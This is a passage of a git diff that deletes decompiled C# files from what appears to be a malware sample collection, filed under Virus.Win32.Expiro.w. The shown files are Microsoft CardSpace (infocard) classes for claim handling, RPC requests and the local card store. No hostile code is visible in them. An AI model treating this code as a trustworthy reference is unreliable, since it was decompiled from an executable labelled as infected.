DisplayClaim(InfoCardConstants.ClaimDisplayTag(claims[index].Id.ToString()), new List() - { - claims[index].Value - }, InfoCardConstants.ClaimsDescription(claims[index].Id.ToString()), claims[index].Id.ToString()); - claimList.Add(displayClaim); - } - return new DisplayToken(claimList); - } - - private List GetClaimSet( - InfoCard card, - InfoCardPolicy policy, - bool discloseOptional) - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - List intersectedClaims = (List) null; - if (policy.RequiredClaims != null) - { - intersectedClaims = new List(policy.RequiredClaims.Length); - this.AddClaimsThatIntersect(policy.RequiredClaims, false, card.GetClaims(), policy.ImmediateTokenRecipient.GetOrganizationPPIDIdentifier(), card.Id, intersectedClaims); - } - if (discloseOptional && policy.OptionalClaims != null) - { - if (intersectedClaims == null) - intersectedClaims = new List(policy.OptionalClaims.Length); - this.AddClaimsThatIntersect(policy.OptionalClaims, true, card.GetClaims(), policy.ImmediateTokenRecipient.GetOrganizationPPIDIdentifier(), card.Id, intersectedClaims); - } - return intersectedClaims; - } - finally - { - connection.Close(); - } - } - - private void AddClaimsThatIntersect( - string[] policyClaims, - bool processingOptionalClaims, - InfoCardClaimCollection claims, - string recipientidentifier, - Uri cardId, - List intersectedClaims) - { - foreach (string policyClaim in policyClaims) - { - if (policyClaim == InfoCardConstants.PPIDClaimsUri) - { - string ppid = Utility.CreatePpid(Convert.FromBase64String(recipientidentifier), cardId); - intersectedClaims.Add(new InfoCardClaim(InfoCardConstants.PPIDClaimsUri, ppid)); - } - else if (!processingOptionalClaims) - { - InfoCardTrace.ThrowInvalidArgumentConditional(!claims.ContainsKey(policyClaim) || claims[policyClaim] == null || string.IsNullOrEmpty(claims[policyClaim].Value), "policyClaimUri"); - intersectedClaims.Add(claims[policyClaim]); - } - else - { - InfoCardClaim infoCardClaim = (InfoCardClaim) null; - if (claims.ContainsKey(policyClaim)) - infoCardClaim = claims[policyClaim]; - if (infoCardClaim != null && !string.IsNullOrEmpty(infoCardClaim.Value)) - intersectedClaims.Add(infoCardClaim); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedTokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedTokenFactoryCredential.cs deleted file mode 100644 index 06a8c186..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedTokenFactoryCredential.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedTokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedTokenFactoryCredential : TokenFactoryCredential - { - private InfoCard m_localCard; - - public SelfIssuedTokenFactoryCredential() - : base(TokenFactoryCredentialType.SelfIssuedCredential) - { - } - - public InfoCard LocalCard => this.m_localCard; - - protected override void DeserializeData(BinaryReader reader) => this.m_localCard = new InfoCard(reader.BaseStream); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SendAgentStatusRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SendAgentStatusRequest.cs deleted file mode 100644 index d74fbf32..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SendAgentStatusRequest.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SendAgentStatusRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class SendAgentStatusRequest : UIAgentRequest - { - private SendAgentStatusRequest.AgentStatusType m_agentStatus; - private bool m_retVal; - private uint m_ATApplicationsFlags; - - public SendAgentStatusRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parentRequest) - : base(rpcHandle, inArgs, outArgs, parentRequest) - { - } - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(this.InArgs.Length > 0L, "The agent status must be specified"); - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_agentStatus = (SendAgentStatusRequest.AgentStatusType) binaryReader.ReadUInt32(); - this.m_ATApplicationsFlags = binaryReader.ReadUInt32(); - } - - protected override void OnProcess() - { - this.m_retVal = false; - switch (this.m_agentStatus) - { - case SendAgentStatusRequest.AgentStatusType.AGENT_DESKTOP_CREATED: - case SendAgentStatusRequest.AgentStatusType.AGENT_DESKTOP_SWITCH_IN: - this.ParentRequest.StartAccessibilityApplications(this.m_ATApplicationsFlags); - break; - case SendAgentStatusRequest.AgentStatusType.AGENT_DESKTOP_SWITCH_OUT: - this.m_retVal = this.ParentRequest.RestartAccessibilityApplications(); - break; - } - } - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs, Encoding.Unicode).Write(this.m_retVal); - - public enum AgentStatusType - { - AGENT_INITIALIZING, - AGENT_DESKTOP_CREATED, - AGENT_DESKTOP_SWITCH_OUT, - AGENT_DESKTOP_SWITCH_IN, - AGENT_SHUTTING_DOWN, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SerializationIncompleteException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SerializationIncompleteException.cs deleted file mode 100644 index d3ed0bcb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SerializationIncompleteException.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SerializationIncompleteException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; - -namespace Microsoft.InfoCards -{ - internal class SerializationIncompleteException : Exception - { - private Type m_type; - - public SerializationIncompleteException(Type type) => this.m_type = type; - - public Type ObjectType => this.m_type; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ServiceBusyException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ServiceBusyException.cs deleted file mode 100644 index a6fa0111..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ServiceBusyException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ServiceBusyException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ServiceBusyException : InfoCardBaseException - { - private const int HRESULT = -1073413875; - - public ServiceBusyException() - : base(-1073413875) - { - } - - public ServiceBusyException(string message) - : base(-1073413875, message) - { - } - - public ServiceBusyException(string message, Exception inner) - : base(-1073413875, message, inner) - { - } - - protected ServiceBusyException(SerializationInfo si, StreamingContext sc) - : base(-1073413875, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SetUserLanguageRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SetUserLanguageRequest.cs deleted file mode 100644 index 8ea680df..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SetUserLanguageRequest.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SetUserLanguageRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class SetUserLanguageRequest : UIAgentRequest - { - private int m_lcid; - - public SetUserLanguageRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() => this.m_lcid = (int) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadUInt32(); - - protected override void OnProcess() => this.ParentRequest.UserLanguage = this.m_lcid; - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SetUserPreferenceRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SetUserPreferenceRequest.cs deleted file mode 100644 index 6acacea4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SetUserPreferenceRequest.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SetUserPreferenceRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SetUserPreferenceRequest : UIAgentRequest - { - private UserPreference m_userPreferences; - - public SetUserPreferenceRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(this.InArgs.Length > 0L, "The user preferences must be specified"); - this.m_userPreferences = new UserPreference(this.InArgs); - } - - protected override void OnProcess() - { - InfoCardTrace.Assert(null != this.m_userPreferences, "OnMarshalInArgs must be called prior to calling OnProcess"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - this.m_userPreferences.Save(connection); - connection.CommitTransaction(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SignHashRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SignHashRequest.cs deleted file mode 100644 index 68986626..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SignHashRequest.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SignHashRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class SignHashRequest : ClientRequest - { - private int m_sessionId; - private byte[] m_hash; - private string m_hashAlgOid; - private byte[] m_sig; - - public SignHashRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_sig = (byte[]) null; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_sessionId = reader.ReadInt32(); - int count = reader.ReadInt32(); - this.m_hash = reader.ReadBytes(count); - this.m_hashAlgOid = Utility.DeserializeString(reader); - } - - protected override void OnProcess() => this.m_sig = ((AsymmetricCryptoSession) CryptoSession.Find(this.m_sessionId, this.CallerPid, this.RequestorIdentity.User)).SignHash(this.m_hash, this.m_hashAlgOid); - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - binaryWriter.Write(this.m_sig.Length); - binaryWriter.Write(this.m_sig); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SignatureHeader.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SignatureHeader.cs deleted file mode 100644 index 6e3f9d10..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SignatureHeader.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SignatureHeader -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal struct SignatureHeader - { - public const int IVSize = 16; - public const int SignatureOffset = 4; - public const int IVOffset = 20; - public int SignatureSize; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] - public byte Signature; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/StorableObjectType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/StorableObjectType.cs deleted file mode 100644 index ae4b6e03..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/StorableObjectType.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.StorableObjectType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal enum StorableObjectType - { - Recipient = -3, // 0xFFFFFFFD - UserPreferences = -2, // 0xFFFFFFFE - LedgerEntry = -1, // 0xFFFFFFFF - Unknown = 0, - InfoCard = 1, - InfoCardClaims = 2, - InfoCardMasterkey = 3, - InfocardExtendedInformation = 4, - RPIdentityRequirement = 5, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/StoreConnection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/StoreConnection.cs deleted file mode 100644 index 24243bd2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/StoreConnection.cs +++ /dev/null @@ -1,341 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.StoreConnection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Collections.Specialized; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class StoreConnection : IDisposable - { - public const string DEFAULTFILENAME = "CardSpace.db"; - public const string STOREFILENAMEV2 = "CardSpaceSP2.db"; - public const string STORAGEPATH = "Microsoft\\CardSpace\\"; - private static Hashtable s_instanceCache = CollectionsUtil.CreateCaseInsensitiveHashtable(); - private string m_path; - private int m_refCount; - private Hashtable m_sources; - private string m_instanceId; - private string m_activeSource; - private string m_localSource; - private bool m_isLoaded; - private WindowsIdentity m_identity; - private bool m_disposed; - private object m_sync; - - protected StoreConnection(WindowsIdentity identity) - { - this.m_identity = new WindowsIdentity(identity.Token); - this.m_instanceId = this.m_identity.User.Value; - this.m_sync = new object(); - this.m_disposed = false; - this.m_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\\CardSpace\\"); - this.m_localSource = this.m_path + "CardSpaceSP2.db"; - this.m_activeSource = this.m_localSource; - this.m_sources = CollectionsUtil.CreateCaseInsensitiveHashtable(); - } - - public Hashtable DataSources => this.m_sources; - - public string ActiveDataSource => this.m_activeSource; - - public string LocalDataSource => this.m_localSource; - - public string InstanceId => this.m_instanceId; - - public WindowsIdentity Identity => this.m_identity; - - protected int ReferenceCount - { - get => this.m_refCount; - set => this.m_refCount = value; - } - - public static StoreConnection CreateConnection() - { - WindowsIdentity current = WindowsIdentity.GetCurrent(); - InfoCardTrace.Assert(!current.IsSystem, "Identity should not be LSA"); - return StoreConnection.GetConnection(current, true); - } - - public static StoreConnection GetConnection() - { - WindowsIdentity current = WindowsIdentity.GetCurrent(); - InfoCardTrace.Assert(!current.IsSystem, "Identity should not be LSA"); - return StoreConnection.GetConnection(current); - } - - public static StoreConnection GetConnection(WindowsIdentity identity) => StoreConnection.GetConnection(identity, false); - - private static StoreConnection GetConnection( - WindowsIdentity identity, - bool allowCreate) - { - StoreConnection connection = (StoreConnection) null; - lock (StoreConnection.s_instanceCache.SyncRoot) - { - connection = (StoreConnection) StoreConnection.s_instanceCache[(object) identity.User.Value]; - if (connection == null) - { - if (!allowCreate) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreFailedToOpenStore"))); - connection = new StoreConnection(identity); - connection.Load(); - StoreConnection.s_instanceCache[(object) identity.User.Value] = (object) connection; - } - else if (!connection.m_isLoaded) - connection.Load(); - ++connection.ReferenceCount; - } - return connection; - } - - public void SetActiveDataSource(string id) - { - this.ThrowIfNotLoaded(); - if (!this.m_sources.ContainsKey((object) id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreSourceIdOutOfRange"))); - this.m_activeSource = !((DataSource) this.m_sources[(object) this.m_activeSource]).IsProcessingTransaction() ? id : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreProcessingTransaction"))); - } - - public void Close() - { - this.ThrowIfNotLoaded(); - lock (StoreConnection.s_instanceCache.SyncRoot) - { - --this.ReferenceCount; - if (this.ReferenceCount != 0) - return; - StoreConnection.s_instanceCache.Remove((object) this.m_identity.User.Value); - this.m_isLoaded = false; - foreach (string key in (IEnumerable) this.m_sources.Keys) - ((DataSource) this.m_sources[(object) key]).Close(); - this.m_sources.Clear(); - } - } - - void IDisposable.Dispose() - { - lock (this.m_sync) - { - if (this.m_disposed) - return; - this.m_disposed = true; - if (this.m_identity == null) - return; - this.m_identity.Dispose(); - this.m_identity = (WindowsIdentity) null; - } - } - - public bool IsDataSourceCleared(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - return ((DataSource) this.m_sources[(object) sourceId]).IsCleared; - } - - public void ResetDataSourceClearedFlag(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).IsCleared = false; - } - - public DataRow GetSingleRow(QueryDetails details, params QueryParameter[] objectQuery) => this.GetSingleRow(details, this.m_activeSource, objectQuery); - - public DataRow GetSingleRow(params QueryParameter[] objectQuery) => this.GetSingleRow(this.m_activeSource, objectQuery); - - public DataRow GetSingleRow(string sourceId, params QueryParameter[] objectQuery) => this.GetSingleRow(QueryDetails.FullRow, sourceId, objectQuery); - - public DataRow GetSingleRow( - QueryDetails details, - string sourceId, - params QueryParameter[] objectQuery) - { - this.ThrowIfNotLoaded(); - if (objectQuery == null || objectQuery.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (objectQuery)); - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - return ((DataSource) this.m_sources[(object) sourceId]).GetSingleRow(details, objectQuery); - } - - public ICollection Query( - QueryDetails details, - params QueryParameter[] query) - { - return this.Query(details, this.m_activeSource, query); - } - - public ICollection Query(params QueryParameter[] query) => this.Query(this.m_activeSource, query); - - public ICollection Query( - string sourceId, - params QueryParameter[] query) - { - return this.Query(QueryDetails.FullRow, sourceId, query); - } - - public ICollection Query( - QueryDetails details, - string sourceId, - params QueryParameter[] query) - { - this.ThrowIfNotLoaded(); - if (query == null || query.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (query)); - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - return (ICollection) ((DataSource) this.m_sources[(object) sourceId]).Query(details, query); - } - - public void Save(string sourceId, DataRow row) - { - this.ThrowIfNotLoaded(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).Save(row); - } - - public void Save(DataRow row) - { - this.ThrowIfNotLoaded(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - if (!string.IsNullOrEmpty(row.SourceId)) - this.Save(row.SourceId, row); - else - this.Save(this.m_activeSource, row); - } - - public void Delete(string sourceId, DataRow row) - { - this.ThrowIfNotLoaded(); - if (row.InstanceId != this.m_instanceId) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreRowOwnedByOtherDataSource"))); - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).Delete(row); - } - - public void Delete(DataRow row) => this.Delete(row.SourceId, row); - - public void BeginTransaction() => this.BeginTransaction(this.m_activeSource); - - public void BeginTransaction(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(" sourceId ", (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).BeginTransaction(); - } - - public void CommitTransaction() => this.CommitTransaction(this.m_activeSource); - - public void CommitTransaction(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(" sourceId ", (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).CommitTransaction(); - } - - public void RollbackTransaction() => this.RollbackTransaction(this.m_activeSource); - - public void RollbackTransaction(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(" sourceId ", (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).RollbackTransaction(); - } - - protected virtual void CreateDefaultDataSources(Hashtable list) - { - string str = this.m_path + "CardSpace.db"; - using (new SystemIdentity(true)) - { - if (File.Exists(this.m_localSource)) - { - if (File.Exists(str)) - { - if (DateTime.Compare(File.GetLastWriteTime(str), File.GetLastWriteTime(this.m_localSource)) > 0) - { - File.Delete(this.m_localSource); - if (File.Exists(this.m_localSource + ".shadow")) - File.Delete(this.m_localSource + ".shadow"); - this.AtomicFileCopy(str, this.m_localSource); - } - } - } - else if (!File.Exists(this.m_localSource) && File.Exists(this.m_localSource + ".shadow")) - { - FileInfo fileInfo = new FileInfo(this.m_localSource + ".shadow"); - if (0L == fileInfo.Length) - fileInfo.Delete(); - } - else if (File.Exists(str)) - this.AtomicFileCopy(str, this.m_localSource); - else if (File.Exists(str + ".shadow")) - { - FileInfo fileInfo = new FileInfo(str + ".shadow"); - if (0L == fileInfo.Length) - fileInfo.Delete(); - else - this.AtomicFileCopy(str + ".shadow", this.m_localSource); - } - } - list.Add((object) this.m_localSource, (object) new FileDataSource(this.m_identity, this.m_localSource, this.m_instanceId, SecondaryIndexDefinition.MasterIndexes)); - } - - protected void AtomicFileCopy(string source, string destination) - { - if (!File.Exists(source)) - return; - File.Copy(source, source + ".atomic", true); - FileInfo fileInfo = new FileInfo(source + ".atomic"); - if (fileInfo.Length == 0L) - return; - fileInfo.MoveTo(destination); - } - - protected void Load() - { - InfoCardTrace.Assert(!this.m_isLoaded, "Store is already loaded"); - this.CreateDefaultDataSources(this.m_sources); - foreach (string key in (IEnumerable) this.m_sources.Keys) - { - if (!((DataSource) this.m_sources[(object) key]).IsLoaded) - { - bool flag = false; - try - { - ((DataSource) this.m_sources[(object) key]).Load(); - flag = true; - } - catch (CorruptStoreException ex) - { - ((DataSource) this.m_sources[(object) key]).Clear(); - } - catch (InvalidStoreProtectionKeyException ex) - { - ((DataSource) this.m_sources[(object) key]).Clear(); - } - if (!flag) - ((DataSource) this.m_sources[(object) key]).Load(); 